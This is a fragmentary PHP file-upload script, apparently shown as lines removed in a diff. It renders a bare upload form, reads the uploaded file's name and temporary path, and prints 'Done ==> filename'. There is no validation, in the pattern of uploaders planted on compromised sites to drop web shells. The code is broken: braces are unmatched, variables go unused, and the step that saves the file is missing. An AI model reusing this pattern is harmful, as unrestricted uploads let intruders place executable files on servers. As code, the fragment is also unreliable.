- <?php
- $filedir = "";
- $maxfile = '2000000';
- $userfile_name = $_FILES['image']['name'];
- $userfile_tmp = $_FILES['image']['tmp_name'];
- $abod = $filedir.$userfile_name;
- echo"<center><b>Done ==> $userfile_name</b></center>";
- }
- }
- else{
- echo' <form method="POST" action="" enctype="multipart/form-data">
- <input type="file" name="image">
- <input type="Submit" name="Submit" value="Submit">
- </form>';
- }
- ?>